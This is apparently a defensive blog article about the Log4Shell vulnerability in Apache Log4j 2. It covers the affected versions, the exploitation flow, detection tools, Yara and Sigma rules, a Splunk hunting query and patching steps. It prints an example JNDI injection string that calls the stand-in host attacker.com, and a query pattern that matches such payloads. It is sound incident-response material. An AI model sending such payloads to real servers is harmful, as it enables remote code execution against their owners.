log4j2- what we know and Action plan for what we can do

Since the release of 0-day vulnerability (CVE-2021-44228) in Apache Log4j 2, and its public exploit on GitHub, it has taken the security teams by storm. With every passing hour, we are seeing more and more devices identified being affected by it(Apple, Vmware v sphere,logrythm , and elastic to name a few). In addition to this, security researchers all over the world are finding more and more ways to bypass the detection techniques and to successfully exploit this weakness in the Log4j library.

On the other hand, we are seeing the security community coming together and sharing whatever information they have regarding this vulnerability and helping everyone (Well security is everyone's responsibility :) )

In this article, I will try to add all the information that we have found yet, with some quick fixes, patches, and detection-related details along with references to amazing content regarding this vulnerability to help everyone in detecting and mitigating it.

Let's start with "What versions are vulnerable and How to mitigate this vulnerability?"

The vulnerable versions of Log4j 2 are versions 2.0 to version 2.14.1 inclusive. The first fixed version is 2.15.0. Patch for it can be found here . If you are using a version before 2.0, you are also not vulnerable.

You may be wondering how to know if you are affected by this vulnerability or not? Honestly, this is a very tough question and there is no simple answer for it. The reason behind it is the fact that no one knows how many applications/ software are using this library. Having said that not all is lost since we have a lot of information to start looking for it.

Before moving forward, let's understand how this vulnerability is being exploited by the attackers:

What do attackers need for exploiting it?

• A server with a vulnerable?log4j?version
• an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
• and a log statement that logs out the string from that request.

What are the exploitation steps?

1. Data from the User gets sent to the server (via any protocol),
2. The server logs the data in the request, containing the malicious payload:?${jndi:ldap://attacker.com/a}?(where?attacker.com?is an attacker-controlled server),
3. The?log4j?vulnerability is triggered by this payload and the server makes a request to?attacker.com?via "Java Naming and Directory Interface " (JNDI),
4. This response contains a path to a remote Java class file (ex.?https://second-stage.attacker.com/Exploit.class) which is injected into the server process,
5. This injected payload triggers a second stage and allows an attacker to execute arbitrary code.(credit for this goes to Lunasec )

For those of you who are interested in exploring all details related to the library itself and why is it vulnerable, please refer to this amazing post about it.

Since we have covered details regarding what this vulnerability is and how is it exploited above, it's time to look for an action plan to follow against this vulnerability.

Action Plan

1. To know if you are vulnerable to it or not? (The answer to this question lies in the answer of "How to detect vulnerable versions?)
2. How to see if you are being attacked?
3. Must perform actions(What are the steps that you must perform for protecting against this vulnerability?)

Now I will start explaining the answer to the above three questions which will be our action plan against this vulnerability.

1. To know if you are vulnerable to it or not? (The answer to this question lies in the answer of "How to detect vulnerable versions?)

The first step in our action plan is to identify how many of your assets are vulnerable to it, since we can only patch the devices/tools/software which we know are affected. Since the release of this vulnerability, different vendors have been working tirelessly to help their customers, to identify all the assets that are affected by it. As mentioned earlier, this is a very tough question to answer since we don't know which of the software/tools is using this library. Good News for us is that Nessus has published plugins to identify this vulnerability. The link to the plugins can be found here .

If you don't have Nessus, don't worry, not all is lost, here is the list of a few of the tools/resources to detect this:

1. Huntress - Log4Shell Tester A tool by huntress to detect this vulnerability.
2. There are two open-source tools led by?Anchore ?that have the ability to scan a large number of packaged dependency formats, identify their existence, and report if they contain vulnerabilities. In this case being able to scan JAR files, especially nested layers of JAR files, is what we want.?Syft ?generates a software bill of materials (SBOM) and?Grype ?is a vulnerability scanner. Both of these tools are able to inspect multiple nested layers of JAR archives to uncover and identify versions of Log4j.(you can find complete details related to the tools here
3. You can write a Yara rule for the "Hashes for vulnerable LOG4J versions" found here , and then search it within your environment tools such as Loki, etc.(for more details on how to write Yara rules, you can have a look at the article I wrote earlier here

How to see if you are being attacked?

This is where a lot of amazing work has been put by so many researchers in helping the community and it is commendable.

Let's start with listing down some sigma and Yara rules by the man who contributed more than anyone in the threat hunting field Florian Roth .

1. Please find the Yara rules for detecting the exploitation of this vulnerability here . All you need to do is to copy these Yara rules within the tools such as Loki and run them on the suspected device.
2. He also wrote a few sigma rules to detect this vulnerability being exploited which can be found in the link here. Please note that, the following sigma rules can be converted into any SIEM / EDR search by using the following link . All you need to do is to copy the above sigma rules in the left window, and then clicking on "translate" afte selecting SIEM/ EDR of your choice.

3. He also wrote a tool in python to find exploitation attempts of this vulnerability. This tool is extremely helpful as it is trying to cater all the obfuscation going around with the string "jndi". Please find the link to this tool here . Huge thanks to him for all his efforts and contributions to the community :). Please keep on checking this resource for all the details related to detection as a community is constantly adding more signatures/patterns that are of great help.

Above is an example of such a scenario

Moving forward, shout out to SOC Prime for sharing sigma rules for detecting exploit attempts against this vulnerability. All you need is to create an account at their platform. You would be able to access those sigma rules and would be able to convert them into siem/edr searches of your choice. I am sharing the search query I converted in to Splunk search here:" ((((c-useragent="*jndi*") (c-useragent="*ldap*" OR c-useragent="*rmi*" OR c-useragent="*ldaps*" OR c-useragent="*dns*" OR c-useragent="*lower*" OR c-useragent="*upper*")) OR ((c-uri="*jndi*") (c-uri="*ldap*" OR c-uri="*rmi*" OR c-uri="*ldaps*" OR c-uri="*dns*" OR c-uri="*lower*" OR c-uri="*upper*"))) OR ((post-body="*jndi*") (post-body="*ldap*" OR post-body="*rmi*" OR post-body="*ldaps*" OR post-body="*dns*" OR post-body="*lower*" OR post-body="*upper*"))) " . Please note that sourcetype of this search would be your webserver/proxy logs so add the indexes accordingly. You may also need to change the field name accordingly. It is to note that, sigma can be converted into search query of many siem solutuions very easily. I converted it into splunk search for an example. For more rules/ detections, visit soc prime website mentioned earler, they have put some amazing detections for community free of cost( yes yoy heard it right, its free :))

In addition to this, Adil Soybal? has released a tool to scan for this vulnerability which is worth mentioning here.

Since I am a fan of Splunk, i would like to add a detailed article explaining how you can leverage splunk queries in identifying any exploitation attempts against you. It is to note that the same logic mentioned by them can be modified according to the SIEM you are using. It is worth mentioning that finding hits while searching does not necessarily mean that you have been compromised, it could only be someone searching for the vulnerable systems since POC is publicly available. We have to verify it by looking for the steps mentioned earlier and in the below image:

I am sure that there would be a lot of other amazing tools/resources by the community that I am unaware of, or which I forgot to list here, but above were a few of the resources that will assist you a lot in identifying devices/ systems vulnerable to it.

Must perform actions(What are the steps that you must perform for protecting against this vulnerability?)

1. The last step of our action plan after detecting vulnerable devices and exploit attempts is to make sure that patches are applied. There are two solutions for this, if for some reason, you can not apply the permanent solution, you can apply the temporary solution to ensure you are safe.
2. The permanent solution is to patch the library to the latest version published by Apache, the temporary solution is to add a property to disable message pattern converter lookups, details can be found here and here . Please note that this fix will not work on all versions, please check the referenced link for all the details related to it.
3. In addition to this, please keep a track of the advisories shared by different vendors(such as VMware v-sphere, elastic, Paloalto, etc) regarding their components affected by this vulnerability and make sure that all the patches/signatures/rules are applied in a timely manner.
4. Please make sure to constantly look/hunt for the signs of compromise in the devices affected by this vulnerability(Especially if you have SOC services).

I hope that this article would be helpful to you in detecting, hunting, and mitigating this critical vulnerability. Feel free to share it with others and add anything that I may have missed while writing this article :)